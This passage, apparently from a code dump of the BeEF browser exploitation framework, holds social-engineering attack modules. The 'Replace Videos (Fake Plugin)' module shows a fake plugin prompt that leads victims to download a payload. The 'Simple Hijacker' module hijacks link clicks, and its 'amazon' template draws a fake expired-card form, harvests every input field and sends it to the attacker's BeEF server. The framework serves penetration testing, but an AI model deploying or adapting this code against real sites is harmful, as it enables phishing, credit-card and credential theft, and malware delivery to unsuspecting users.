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\" onclick=\"window.location=\\'<%== @url %>\\';\" />');\n\t});\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Replace video successful\");\n});\n"
  },
  {
    "path": "modules/social_engineering/replace_video_fake_plugin/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        replace_video_fake_plugin:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Replace Videos (Fake Plugin)\"\n            description: \"Replaces an object selected with jQuery (all embed tags by default) with an image advising the user to install a missing plugin. If the user clicks the image they will be prompted to download a file from the specified URL.\"\n            authors: [\"Yori Kvitchko\", \"antisnatchor\", \"bcoles\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/social_engineering/replace_video_fake_plugin/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Replace_video_fake_plugin < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'url', 'ui_label' => 'Payload URL', 'value' => '', 'width' => '150px' },\n      { 'name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width' => '150px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/simple_hijacker/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\nhijack = function(){\n    function send(answer){\n      beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer);\t\n    }\n    <% target = @targets.split(',') %>   \n    $j('a').click(function(e) {\n      e.preventDefault();\n      if ($j(this).attr('href') != '')\n      { \n        if( <% target.each{ |href| %> $j(this).attr('href').indexOf(\"<%=href%>\") != -1 <% if href != target.last %> || <% else %> ) <% end %><% } %>{\t\t\t\n          <%\n              tplpath = \"#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{@choosetmpl}.js\"\n              file = File.open(tplpath, \"r\")\n              @template = file.read\n          %>\n          \n          <%= @template %>\n          beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Template \"<%= @choosetmpl %>\" applied to '+$j(this).attr('href'));\n        }\n      }\n    });\n}\n\nbeef.execute(function() {\n\thijack();\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Hijacker ready, now waits for user action');\n});\n"
  },
  {
    "path": "modules/social_engineering/simple_hijacker/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        simple_hijacker:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Simple Hijacker\"\n            description: \"Hijack clicks on links to display what you want.\"\n            templates: [\"credential\", \"confirmbox\", \"amazon\", \"chromecertbeggar\", \"chromecertbeggar2\"]\n            authors: [\"gallypette\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/social_engineering/simple_hijacker/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Simple_hijacker < BeEF::Core::Command\n  def self.options\n    config = BeEF::Core::Configuration.instance\n    @templates = config.get('beef.module.simple_hijacker.templates')\n\n    # Defines which domains to target\n    data = []\n    data.push({ 'name' => 'targets', 'description' => 'list domains you want to hijack - separed by ,', 'ui_label' => 'Targetted domains', 'value' => 'beef' })\n\n    # We'll then list all templates available\n    tmptpl = []\n    @templates.each do |template|\n      tplpath = \"#{$root_dir}/modules/social_engineering/simple_hijacker/templates/#{template}.js\"\n      raise \"Invalid template path for command template #{template}\" unless File.exist?(tplpath)\n\n      tmptpl << [template]\n    end\n\n    data.push({ 'name' => 'choosetmpl', 'type' => 'combobox', 'ui_label' => 'Template to use', 'store_type' => 'arraystore', 'store_fields' => ['tmpl'], 'store_data' => tmptpl,\n                'valueField' => 'tmpl', 'displayField' => 'tmpl', 'mode' => 'local', 'emptyText' => 'Choose a template' })\n\n    data\n  end\n\n  #\n  # This method is being called when a zombie sends some\n  # data back to the framework.\n  #\n  def post_execute\n    save({ 'answer' => @datastore['answer'] })\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/simple_hijacker/templates/amazon.js",
    "content": "/*\n * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\n  beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);\n\t$j(document).attr('title', $j(this).html());\n\tdocument.body.scroll = 'no';\n\tdocument.documentElement.style.overflow = 'hidden';\n\t\n\tcollect = function(){\n\t  answer = \"\";\n\t\t$j(\":input\").each(function() {\n\t\t  answer += \" \"+$j(this).attr(\"name\")+\":\"+$j(this).val();\n\t\t});\n\t\tsend(answer);\n\t}\n\t\n\t\t// floating div\n\tfunction writediv() {\n\t\tsneakydiv = document.createElement('div');\n\t\tsneakydiv.setAttribute('id', 'hax');\n\t\tsneakydiv.setAttribute('display', 'block');\n\t\tsneakydiv.setAttribute('style', 'width:60%;position:fixed; top:200px; left:220px; z-index:51;background-color:#FFFFFF;opacity:1;font-family: verdana,arial,helvetica,sans-serif;font-size: small;');\n\t\tdocument.body.appendChild(sneakydiv);\n\t\tsneakydiv.innerHTML= '<div style=\"margin:5px;\">Your credit card details expired, please enter your new credit card credential to continue shopping- <br> <b>Changes made to your payment methods will not affect orders you have already placed. </b></div><table cellspacing=0 cellpadding=0 border=0 width=\"100%\"><tbody><tr><td valign=bottom><b class=h1><nobr><a href=\"#\" style=\"font-size: medium;font-family: verdana,arial,helvetica;color: #004B91;text-decoration: underline;cursor: auto\">Your Account</a></nobr>&gt;</b><h1 class=h1 style=\"display: inline; color: #E47911; font-size: medium;font-family: verdana,arial;font-weight: bold\"><b class=h1><nobr>Add a Credit or Debit Card</nobr></b></h1></td></table><div width=\"99%\" style=\"border: 2px solid 